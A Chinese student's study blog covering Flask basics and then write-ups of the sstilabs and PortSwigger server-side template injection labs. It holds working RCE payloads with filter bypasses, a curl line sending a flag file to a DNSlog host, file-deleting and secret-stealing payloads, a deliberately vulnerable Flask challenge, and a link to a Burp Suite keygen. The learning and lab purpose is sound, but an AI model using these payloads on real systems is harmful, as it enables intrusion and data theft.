0%

2023暑期学习记录week3

好好好好好

Python Flask框架学习

前端 - Python Flask框架:零基础web开发入门教程 - 个人文章 - SegmentFault 思否

安装

pip install flask

test

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from flask import Flask
# 引入Flask类
app = Flask(__name__)
# 创建Flask对象

# 编写主程序
@app.route('/')
def hello_world():
return 'Hello, World!'
# 在主程序中,执行run()来启动应用

#改名启动一个本地服务器
# 默认情况下其地址是localhost:5000
#在上面的代码中,我们使用关键字参数port将监听端口修改为8080。

# 路由
if __name__ =="__main__":
app.run(debug=True,port=8080)
# 使用app变量的route()装饰器来告诉Flask框架URL如何触发我们的视图函数

# 运行 $ python app.py

一开始一直404后来才发现是缩进错误。。

使用HTML模板

  • 定义了一个名为 user 的字典
    user = {'username': 'John', 'age': "20"}
  • 使用拼接的HTML字符串来展示 user 字典的数据
    <h1>Hello, ''' + user['username'] + '''!, you’re ''' + user['age'] + ''' years old.</h1>

拼接HTML字符串非常容易出错,
因此Flask使用Jinja 2模板引擎来分离数据逻辑和展示层。

1
2
3
4
Apps folder
/app.py
templates
|-/index.html
1
2
3
4
5
6
7
8
9
from flask import Flask, render_template
app = Flask(__name__)

@app.route('/hello')
def hello():
return render_template('index.html', name="Alex")

if __name__ == '__main__':
app.run(debug = True)
1
2
3
4
5
6
7
8
9
<html>
<body>
{% if name %}
<h2>Hello {{ name }}.</h2>
{% else %}
<h2>Hello.</h2>
{% endif %}
</body>
</html>

使用表单

e.g.

1
2
3
4
5
Apps folder
/app.py
templates
|-/bio_form.html
|-/show_bio.html

app.py 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from flask import Flask, render_template, request, redirect, url_for

app = Flask(__name__)

@app.route('/form', methods=['POST', 'GET'])
def bio_data_form():
if request.method == "POST":
username = request.form['username']
age = request.form['age']
email = request.form['email']
hobbies = request.form['hobbies']
return redirect(url_for('showbio',
username=username,
age=age,
email=email,
hobbies=hobbies))
return render_template("bio_form.html")

@app.route('/showbio', methods=['GET'])
def showbio():
username = request.args.get('username')
age = request.args.get('age')
email = request.args.get('email')
hobbies = request.args.get('hobbies')
return render_template("show_bio.html",
username=username,
age=age,
email=email,
hobbies=hobbies)

if __name__ == '__main__':
app.run(debug=True, port=8080)

bio_form.html 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<h1>Bio Data Form</h1>
<form action="{{ url_for('bio_data_form') }}" method="POST">
<label>Username</label>
<input type="text" name="username"><br>
<label>Age</label>
<input type="text" name="age"><br>
<label>Email</label>
<input type="email" name="email"><br>
<label>Hobbies</label>
<input type="text" name="hobbies"><br>
<input type="submit" value="Submit">
</form>
</body>
</html>

show_bio.html 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html>
<head>
<title>Bio-Data Details</title>
</head>
<body>
<h1>Bio-Data Details</h1>
<hr>
<h1>Username: {{ username }}</h1>
<h1>Age: {{ age }}</h1>
<h1>Email: {{ email }}</h1>
<h1>Hobbies: {{ hobbies }}</h1>
</body>
</html>

数据库集成:使用SQLAlchemy

安装

pip install flask-sqlalchemy

然后教程给的是postgresql,但是我研(请)究(教)了(chat)一(老)下(师),感觉用mysql能凑合大部分

1
2
3
4
5
6
7
只有在特定情况下,您才需要考虑使用PostgreSQL,比如:

数据库需求:某些特殊应用场景或者要求可能更适合使用PostgreSQL的一些高级功能,例如支持JSON数据类型、全文搜索等。

学习目的:如果您是为了学习和了解不同的数据库后端,或者想要学习使用PostgreSQL和Flask-SQLAlchemy,那么使用PostgreSQL可能是有意义的。

其他项目需求:如果您在其他项目中需要使用PostgreSQL,那么在Flask应用程序中也选择使用PostgreSQL可能会更方便统一数据库后端。

找了个用MySQL的
Python Web 开发框架Flask快速入门 - 知乎
pip install flask-mysqldb

使用(最基础版🚬🚬)

老报错,,gpt🙏🙏🙏

1
2
3
flask-sql.py
templates/
index.html

flask-sql.py文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from flask import Flask, render_template
from flask_sqlalchemy import SQLAlchemy

app = Flask(__name__)

# 设置连接数据库的URL
app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql://root:root@127.0.0.1:3306/Flask_test'
# 第一个root是用户名,第二个root是密码
# 使用前记得先建表。。

# 设置每次请求结束后会自动提交数据库中的改动
app.config['SQLALCHEMY_COMMIT_ON_TEARDOWN'] = True

app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True
# 查询时会显示原始SQL语句
app.config['SQLALCHEMY_ECHO'] = True
db = SQLAlchemy(app)

class Role(db.Model):
# 定义表名
__tablename__ = 'roles'
# 定义列对象
id = db.Column(db.Integer, primary_key=True)
name = db.Column(db.String(64), unique=True)
us = db.relationship('User', backref='role')


class User(db.Model):
__tablename__ = 'users'
id = db.Column(db.Integer, primary_key=True)
name = db.Column(db.String(64), unique=True, index=True)
email = db.Column(db.String(64), unique=True)
pswd = db.Column(db.String(64))
role_id = db.Column(db.Integer, db.ForeignKey('roles.id'))

@app.route('/')
def index():
# 查询所有角色和用户
roles = Role.query.all()
users = User.query.all()
return render_template('index.html', roles=roles, users=users)


if __name__ == '__main__':
# 创建所有数据库表
with app.app_context():
# 一开始没这句老报错
db.drop_all()
db.create_all()

# 插入测试数据
ro1 = Role(name='admin')
ro2 = Role(name='user')
db.session.add_all([ro1, ro2])
db.session.commit()

us1 = User(name='wang', email='wang@163.com', pswd='123456', role_id=ro1.id)
us2 = User(name='zhang', email='zhang@189.com', pswd='201512', role_id=ro2.id)
us3 = User(name='chen', email='chen@126.com', pswd='987654', role_id=ro2.id)
us4 = User(name='zhou', email='zhou@163.com', pswd='456789', role_id=ro1.id)
db.session.add_all([us1, us2, us3, us4])
db.session.commit()

app.run(debug=True)

index.html文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!DOCTYPE html>
<html>
<head>
<title>Flask-SQLAlchemy Example</title>
</head>
<body>
<h1>Roles:</h1>
<ul>
{% for role in roles %}
<li>{{ role.name }}</li>
{% endfor %}
</ul>

<h1>Users:</h1>
<ul>
{% for user in users %}
<li>{{ user.name }} - {{ user.email }}</li>
{% endfor %}
</ul>
</body>
</html>

http://127.0.0.1:5000/

别的模板

先干ssti去了,,有缘再见
php
Smarty的基本使用与总结 - 那一叶随风 - 博客园
js
EJS – 嵌入式 JavaScript 模板引擎 | EJS 中文文档

sstilabs

X3NNY/sstilabs: A lab to help you learning SSTI

安装

进入sstilabs-master\flasklab文件夹
pip install -r requirements.txt

python app.py
一直报错
把requirements.txt改成
Flask>=2.0.1
try again

level1

no waf

1
2
3
4
5
6
7
8
9
10
11
function ssti() {
$.post({
url: `/level/${get_level()}`,
contentType: "application/x-www-form-urlencoded",
data: `code=${encodeURIComponent($("input[name='code']").val())}`,
success: res => {
$("#res").html(res)
}
});
return false
}

看出来是post方式
code={{ ''.__class__ }}–>{{ ''.__class__ }}该实例的对应的类

code={{ ''.__class__.__base__ }}–><class 'object'>当前类的父类

code={{ ''.__class__.__base__.__subclasses__() }}–>包含当前类所有子类的一个列表

找到了个get的脚本

1
2
3
4
5
import requests as res
for i in range(0,400):
url="http://127.0.0.1:5000/ssti?name={{''.__class__.__base__.__subclasses__()[%d].__init__.__globals__}}"
response=res.get(url%i)
print(len(response.text),i,response.status_code)

chat老师改了个post的

1
2
3
4
5
6
7
8
9
import requests

url = "http://127.0.0.1:5000/level/1"
payload = "{{''.__class__.__base__.__subclasses__()[%d].__init__.__globals__}}"

for i in range(0, 400):
data = {"code": payload % i}
response = requests.post(url, data=data)
print(len(response.text), i, response.status_code)

每行三个数字对应:响应包,下标,状态码
有好多。。随机选一个104
code={{ ''.__class__.__base__.__subclasses__()[104].__init__.__globals__ }}
选择__import__
code={{ ''.__class__.__base__.__subclasses__()[104].__init__.__globals__['__import__'] }}
然后有<function __import__ at 0x000002BFB1BC3F60>

所以
code={{ ''.__class__.__base__.__subclasses__()[104].__init__.__globals__['__import__']('os').popen('type .\\flag').read() }}

我搜了一下别人的wp基本都是bp做的,but我电脑坏了之后bp还没装回来,也懒得开虚拟机。。所以先凑合凑合👍🥺
感觉我的做法有一种淳朴的美,不懂的永别了。。。!

level2

过滤了两个花括号,用print
{%print ''.__class__.__base__.__subclasses__()[104].__init__.__globals__['__import__']('os').popen('type .\\flag').read()%}

level3

no waf但是盲注。。
好像有两种办法nc命令将文件内容/dnslog外带。。


过了一天。。美好的一天从放弃*ctf开始
code={{ ''.__class__.__base__.__subclasses__()[104].__init__.__globals__['__import__']('os').popen('curl http://xxxxxx.ceye.io/`type .\\flag`').read() }}

code={{ ''.__class__.__base__.__subclasses__()[104].__init__.__globals__['__import__']('os').popen('curl http://xxxxxx.ceye.io/%25%36%30%25%37%34%25%37%39%25%37%30%25%36%35%25%32%30%25%32%65%25%35%63%25%35%63%25%36%36%25%36%63%25%36%31%25%36%37%25%36%30').read() }}
我不明白。。Remote Addr处显示
http://xxxxxx.ceye.io/`type ./flag`
变,你给我变啊(大声

特别特别绝望,,先做下一题了

level4

过滤中括号
__getitem__绕中括号限制
''.__class__.__base__.__subclasses__()[104]=''.__class__.__base__.__subclasses__().__getitem__(104)

()["__class__"]=()|attr("__class__")=().__getattribute__("__class__")

['__import__']=.__getitem__('__import__')

psyload
code={{ ''.__class__.__base__.__subclasses__().__getitem__(104).__init__.__globals__.__getitem__('__import__')('os').popen('type .\\flag').read() }}

level5

过滤了单双引号
详解Flask SSTI 利用与绕过技巧V2 - FreeBuf网络安全行业门户

过滤引号

request对象绕过
request有两种形式,request.args和request.values,POST和GET传递的数据都可以被接收。
?name={{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(request.args.v1).popen(request.values.v2).read()}}&v1=os&v2=whoami

chr绕过
GET请求时,+号记得url编码,要不会被当作空格处理。
?name={% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}

本题payload
code={{ [].__class__.__base__.__subclasses__()[104].__init__.__globals__[request.values.arg1](request.values.arg2).popen(request.values.arg3).read() }}&arg1=__import__&arg2=os&arg3=type .\\flag

level6

过滤下划线

  • 十六位编码
    code={{ ''["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[104]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['\x5f\x5fimport\x5f\x5f']('os').popen('type .\\flag').read()}}

还有

  • Unicode编码
  • attr()配合request

level7

过滤.
问就是改改上一题
code={{ ''["__class__"]["__base__"]["__subclasses__"]()[104]["__init__"]["__globals__"]['__import__']('os')['popen']('type \x2e\\flag')['read']()}}

还有

  • attr()

level8

过滤关键字["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"]

拼接字符
code={{ ''["__cl"+"ass__"]["__ba"+"se__"]["__subcla"+"sses__"]()[104]["__in"+"it__"]["__glo"+"bals__"]['__import__']('os')['pop'+'en']('type \x2e\\flag')['read']()}}

level9

过滤数字
偷偷抄抄改改别人的

  • for
    {% for i in (''.__class__.__mro__|last()).__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('type .\\flag').read()}}{% endif %}{% endfor %}

  • lipsum
    {{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("type .\\flag")|attr("read")()}}

  • 构造数字
    不知道为什么构造数字不成功。。

    • 做到level11回来看一眼
      {% set yi=dict(a=a)|join|count %}{% set er=dict()|join|count %}{% set san=dict(aaaaa=a)|join|count %}{% set zh=(yi~er~san)|int %}{{().__class__.__base__.__subclasses__()[zh].__init__.__globals__['__import__']('os').popen('type .\\flag').read()}}
      成功

level10

WAF: set config = None

target: get config

去看了别人的wp

不知道为什么我url_for不成功
但是
get_flashed_messages成功了

{{get_flashed_messages.__globals__['current_app'].config}}

我看了眼{{url_for.__globals__}},它就没有’current_app’

level11-13

以下就是跟着别人的wp过一遍
Flask SSTI LAB攻略 – JohnFrod’s Blog

{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("type /x2e\\flag")|attr("read")()}}

过滤下划线/空格

{{(lipsum|string|list)}}获取

下标18为下划线,下标9为空格

{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}

{% set space=(lipsum|string|list)|attr(pop)(9)%}

attr()内字符串构造

1
2
3
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
{% set space=(lipsum|string|list)|attr(pop)(9)%}

构造类

{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}

构造方法

1
2
3
4
5
6
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set type1=dict(type=a)|join%}
{% set cmd=(type1,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}

完整利用语法

{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

合起来

level11

1
2
3
4
5
6
7
8
9
10
11
12
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set type1=dict(type=a)|join%}
{% set cmd=(type1,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

是这样,我写到这里才发现type flag就可以读取了而我每次都败北在怎么处理type .\\flag的点和杠

level12,13
1
2
3
4
5
6
7
8
9
10
11
12
13
14
{% set nine=dict(aaaaaaaaa=a)|join|count %}
{% set et=dict(aaaaaaaaaaaaaaaaaa=a)|join|count %}
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(et)%}
{% set space=(lipsum|string|list)|attr(pop)(nine)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(nine)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set type=dict(type=a)|join%}
{% set cmd=(type,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

美好的一天从做完sstilabs开始。。。👍🥺

portswigger的Server-side template injection模块

Server-side template injection | Web Security Academy
。。特别特别绝望。。为什么不能全世界都说中国话。。。
美好的一天因为看不懂英文结束。。。👎🥲

Basic server-side template injection

已知:ERB模板,任务是delete the morale.txt file from Carlos’s home directory

别的都可以打开,只有第一个不能,发现是get形式
?message=Unfortunately%20this%20product%20is%20out%20of%20stock
搜了ERB注入
手把手教你如何完成Ruby ERB模板注入 - 知乎
?message=<%= 7 * 7 %>看看,返回49————熟悉感上来了啊uus。。

?message=<%= system("ls") %>看看
返回morale.txt true

psyload
?message=<%= system("rm /home/carlos/morale.txt") %>

真该死啊题目说Carlos我搞半天才发现要小写才成功

Basic server-side template injection (code context)(全是废话与题无关)

Tornado 模板

题目提示Preferred name
发现这是post传参
blog-post-author-display=user.first_name&csrf=bKRQjUQkapqGnDg6fYITYXNuFi6W59Rl
看一眼源代码

1
2
3
4
5
6
<label>Preferred name</label>
<select id=blog-post-author-display name=blog-post-author-display form=blog-post-author-display-form>
<option value=user.name>Name</option>
<option value=user.first_name selected>First Name</option>
<option value=user.nickname>Nickname</option>
</select>

感觉blog-post-author-display 可以被利用(我承认其实是看了wp。。
然后因为我电脑之前坏了bp没了之后一直没装回来,所以一直是是hackbar做的,这题本来要用bp截取流量包,但是我用手速hackbar把加载中的/my-account/change-blog-post-author-display页面load下来了(一开始没看wp时是纯运气好加网慢),但是天有不测风云,,不知道为什么一直卡住,{{7*7}}都不行,我开了wp对着payload试了都不成功,可能最后还是要bp,,所以!明天见!!!!溜了

等等我在溜之前看了一眼blog发现我一开始打的
{{7*7}}

因为忘记加反引号使其成为代码形式,发布出来之后变成了49

然后搜到了Hexo 的模板引擎是默认使用 ejs 编写的
浅析 Hexo 搭建博客的原理 - 掘金
EJS – 嵌入式 JavaScript 模板引擎 | EJS 中文文档


Basic server-side template injection (code context)

搞了半天又看不懂英文又不会用bp。。搜了个wp跟着过了一遍
Server-side template injection (SSTI)学习笔记
原来在blog-post-author-display注入之后是在评论页面看我说怪不得怎么改accout页面都显示wiener
tornado.template — Flexible output generation — Tornado 6.3.2 documentation

user.name}}{%25+import+os+%25}{{os.system('rm%20/home/carlos/morale.txt')` ## Server-side template injection using documentation 登录,没找到什么可利用的,回到主页面打开一个产品页面,查看`Template` 发现有`${product.name}` 这种东西 看了官方给的`@albinowax`这个人的 [Server-Side Template Injection | PortSwigger Research](https://portswigger.net/research/server-side-template-injection ) 感觉可能是freemarker输个`${ex("id")}`preview看看 ![](https://pic.imgdb.cn/item/64c783601ddac507ccacc309.jpg) [FAQ - FreeMarker 中文官方参考手册](http://freemarker.foofun.cn/app_faq.html ) [Java安全之freemarker 模板注入 - nice_0e3 - 博客园](https://www.cnblogs.com/nice0e3/p/16217471.html ) `<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex ("rm /home/carlos/morale.txt")}` ## Server-side template injection in an unknown language with a documented exploit 看起来跟第一题很像,`{{7*7}}` ![](https://pic.imgdb.cn/item/64c78a851ddac507ccba8364.jpg) 问了chat老师它说这是Handlebars模板 [介绍 | Handlebars 中文文档 | Handlebars 中文网](https://www.handlebarsjs.cn/guide/#%E4%BB%80%E4%B9%88%E6%98%AF-handlebars ) [Handlebars模板注入到RCE 0day-安全客 - 安全资讯平台](https://www.anquanke.com/post/id/176121 )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return JSON.stringify(process.env);"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
怎么所有搜到的wp大家都一下子根据这个片段构造出来payload了,,有没有人教教我这怎么改,, 勉强理解别人的wp这样。。 `require('child_process').exec` child_process.exec():衍生一个 shell 并在该 shell 中运行命令,当完成时则将stdout 和 stderr 传给回调函数。 `%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d` ## Server-side template injection with information disclosure via user-supplied objects 任务steal and submit the framework's secret key. 跟第三题很像,进入产品Template页,随机挑选幸运`{{}}` 填入`7*7` 见识太少不认识,遇事不决问chatgpt,得知这是Django模板 [Django 文档 | Django 文档 | Django](https://docs.djangoproject.com/zh-hans/4.2/ ) 在官方文档里搜索secret key [配置 | Django 文档 | Django](https://docs.djangoproject.com/zh-hans/4.2/ref/settings/ ) ![](https://pic.imgdb.cn/item/64c7baf21ddac507cc138ed0.jpg) 挑选一个幸运`{{}}`改成`{%debug%}

{{settings.SECRET_KEY}}

Server-side template injection in a sandboxed environment

任务break out of the sandbox to read the file my_password.txt from Carlos’s home directory.

逃逸安全的模板沙箱(一)——FreeMarker(上)
非常自信,嘎嘎乱做👍👍👍

1
2
3
4
5
6
7
8
9
10
11
${product.getClass()}
// class lab.actions.templateengines.FreeMarkerProduct
------
${product.getClass().getProtectionDomain()}
// ProtectionDomain (file:/opt/jars/freemarker.jar <no signer certificates>) jdk.internal.loader.ClassLoaders$AppClassLoader@4e7dc304 <no principals> java.security.Permissions@6f27a732 ( ("java.lang.RuntimePermission" "exitVM") ("java.io.FilePermission" "/opt/jars/freemarker.jar" "read") )
------
${product.getClass().getProtectionDomain().getClassLoader()}
// jdk.internal.loader.ClassLoaders$AppClassLoader@4e7dc304
------
// 大错特错!!
${product.getClass().getProtectionDomain().getClassLoader().getResourceAsStream('/home/carlos/my_password.txt')}

显然,最后一句是错的,去搜了个getProtectionDomain()
getClass().getProtectionDomain().getCodeSource().getLocation().toURI().getSchemeSpecificPart()返回内容解析

1
2
3
4
5
6
7
8
9
10
11
${product.getClass().getProtectionDomain().getCodeSource()}
// (file:/opt/jars/freemarker.jar <no signer certificates>)
------5
${product.getClass().getProtectionDomain().getCodeSource().getLocation()}
// file:/opt/jars/freemarker.jar
------6
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI()}
// file:/opt/jars/freemarker.jar
------7
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().getSchemeSpecificPart()}
// /opt/jars/freemarker.jar

好了又卡住了,,其实我一开始是尝试去看java官方文档的,不知道是不是我的问题(肯定是我的问题吧🥲🥲🥲),不是没中文版的就是乱糟糟的,,,还有既没翻译又乱糟糟的

看了官方payload
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
也不细讲🥲🥲🥲,感觉这种题对我一个java了解为0的来说太过了,感觉我现在的水平就是看个思(乐)路(子)。

然后解ascii

Server-side template injection with a custom exploit

好复杂,利用文件上传干嘛来着

随机一个文档看看实力

1
2
3
4
5
PHP Fatal error:  Uncaught Exception: Uploaded file mime type is not an image: application/vnd.openxmlformats-officedocument.wordprocessingml.document in /home/carlos/User.php:28
Stack trace:
#0 /home/carlos/avatar_upload.php(19): User->setAvatar('/tmp/11.docx', 'application/vnd...')
#1 {main}
thrown in /home/carlos/User.php on line 28

大概就是/home/carlos/avatar_upload.php文件调用了setAvatar方法
然后会检查上传的文件的MIME类型是否是图片类型


有点晕,不过比上一题清晰点,回头再做

ssti出题尝试

感谢chat老师。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# app.py
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
template = '''
<html>
<head><title>Greetings</title></head>
<body>
<h1>Hello, {}!</h1>
<p>flag in flag.txt</p>
</body>
</html>
'''.format(request.args.get('user', 'user'))
return render_template_string(template)

if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Use Python 3 as the base image
FROM python:3

# Copy the app files to the container's /app directory
COPY app.py /app/app.py
COPY flag.txt /app/flag.txt

# Set the working directory
WORKDIR /app

# Install Flask library
RUN pip install Flask

# Expose port 5000 (Flask application will run on this port)
EXPOSE 5000

# Run the Flask application
CMD ["python", "app.py"]

Docker部署127.0.0.1服务后访问不了?解决方法

本来想搞个过滤,但是懒得搞了,就当们是签到题吧!

搞点背景和字体,,体现一下我真的有在学习(?
本来想直接偷懒写在app.py内(内嵌样式表),结果css的花括号会占位符还是什么,与和chatgpt辩论三百回合遂罢;把css放在static文件夹内,然后不知道为什么调用路径总是出错,和chatgpt辩论三百回合再罢,最后用内联样式嵌进去。。
HTML引用CSS(4种方法)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# app.py
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
template = '''
<html>
<head>
<title>你好你好你好</title>
</head>
<body style="font-size: 49px; text-shadow: 2px 2px 4px #777; padding: 50px;
background-image: url('https://pic.imgdb.cn/item/64c912851ddac507cc745f87.jpg');
background-size: cover; background-repeat: no-repeat; background-position: center;">
<h1 style="font-family: 'Edwardian Script ITC'; font-size: 56px; color: #333;">Hello, {}!</h1>
<p style="font-style: italic; font-family: 'Blackadder ITC'; font-size: 25px; color: #3D4456;">flag in flag.txt</p>
</body>
</html>
'''.format(request.args.get('user', 'user'))
return render_template_string(template)

if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000)

payload(显然不唯一。。): ?user={{''.__class__.__base__.__subclasses__()[104].__init__.__globals__['__builtins__']['open']('flag.txt').read()}}

啥不知道有没有用的链接堆堆

国内十大图床推荐–一文解决图片图床问题 - 知乎
SSTI(模板注入)–Flask(萌新向) | [BUUCTF题解][CSCCTF 2019 Qual]FlaskLight & [GYCTF2020]FlaskApp(SSTI) - Article_kelp - 博客园
python-flask模块注入(SSTI) - ctrl_TT豆 - 博客园
CEYE平台的使用 - 时光不改 - 博客园
CEYE - Monitor service for security testing
ssti详解与例题以及绕过payload大全
SSTI入门详解
从Flask入门SSTI
SSTI靶场
flask sssti lab闯关记录
Flask SSTI LAB攻略 – JohnFrod’s Blog
读取pkl文件报错_pickle.UnpicklingError: A load persistent id instruction was encountered
python - no module named ‘ttk’, but its in the folder - Stack Overflow
手把手教你如何完成Ruby ERB模板注入 - 知乎
Burpsuite超详细安装教程
BurpSuite全套使用教程(超实用超详细介绍)
h3110w0r1d-y/BurpLoaderKeygen: Burp Suite Pro Loader & Keygen
Burp Suite Release Notes
🔥【就是加速】百度网盘无限速批量下载 - 支持文件夹下载 🔥
Node.js中child_process模块中spawn与exec的异同比较 - 知乎
内置模板标签和过滤器 | Django 文档 | Django
Django 全局变量|极客教程
巧用DNSlog实现无回显注入 - Afant1 - 博客园
无回显代码执行利用方法 | AdminTony’s Blog
浅析Python SSTI/沙盒逃逸-安全客 - 安全资讯平台
从0到1完全掌握 SSTI - FreeBuf网络安全行业门户

Server-side template injection (SSTI)学习笔记
服务器模板注入 SSTI (Server-side template injection)
从0到1完全掌握 SSTI - FreeBuf网络安全行业门户